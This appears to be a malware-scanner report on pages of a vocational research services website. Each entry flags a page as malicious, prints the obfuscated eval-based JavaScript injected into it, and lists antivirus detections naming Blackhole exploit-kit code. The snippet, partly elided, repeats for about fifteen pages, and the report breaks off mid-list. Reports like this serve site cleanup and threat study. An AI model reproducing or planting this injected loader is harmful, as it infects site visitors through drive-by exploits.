Request | Server response | Status |
http://www.vocationalresearchservices.com/ | 200 OK Content-Length: 8672 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/index.html | 200 OK Content-Length: 8672 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/about.html | 200 OK Content-Length: 8293 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/vocationalevaluations.html | 200 OK Content-Length: 8936 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/economicdamages.html | 200 OK Content-Length: 8922 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/lifecareplans.html | 200 OK Content-Length: 8311 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/interactive.html | 200 OK Content-Length: 8242 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/videosamples.html | 200 OK Content-Length: 8891 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/documents.html | 200 OK Content-Length: 8681 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/newsletter.html | 200 OK Content-Length: 8653 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/fact.html | 200 OK Content-Length: 8085 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/facts.html | 200 OK Content-Length: 9450 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/info.html | 200 OK Content-Length: 8227 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/aboutme.html | 200 OK Content-Length: 10273 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
- nProtect
- Trojan.Script.480964
- Comodo
- TrojWare.JS.Agent.EA
- McAfee-GW-Edition
- JS/Exploit-Blacole.gc
- DrWeb
- Exploit.BlackHole.154
- Microsoft
- Exploit:JS/Blacole.JL
- MicroWorld-eScan
- Trojan.Script.480964
- McAfee
- JS/Exploit-Blacole.gc
- NANO-Antivirus
- Trojan.Script.Iframe.bgvzbb
- F-Secure
- Trojan.Script.480964
- AVG
- HTML/Framer
- GData
- Trojan.Script.480964
- BitDefender
- Trojan.Script.480964
|
http://www.vocationalresearchservices.com/location.html | 200 OK Content-Length: 9125 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,112,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,111,44,112,114,98,30,58,32,38,102,113,116,111,56,44,47,118,117,116,46,
... 895 bytes are skipped ...,114,109,100,108,113,46,118,112,102,116,100,38,36,60,99,103,115,32,104,98,58,92,38,110,89,39,61,58,44,100,104,116,59,39,40,57,10,10,31,30,29,32,31,30,29,32,99,109,96,117,108,99,107,116,45,101,98,116,68,106,98,109,100,108,113,66,120,71,97,40,38,110,36,41,45,95,109,112,100,108,97,67,103,103,105,100,39,110,38,59,12,8,29,32,31,30,122,13,9,123,38,40,40,57);}w=f;s=[];for(i=0;-i+455!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}Antivirus reports:- AntiVir
- JS/Agent.480593
- Avast
- JS:Decode-LI [Trj]
- Ikarus
- Exploit.JS.Blacole
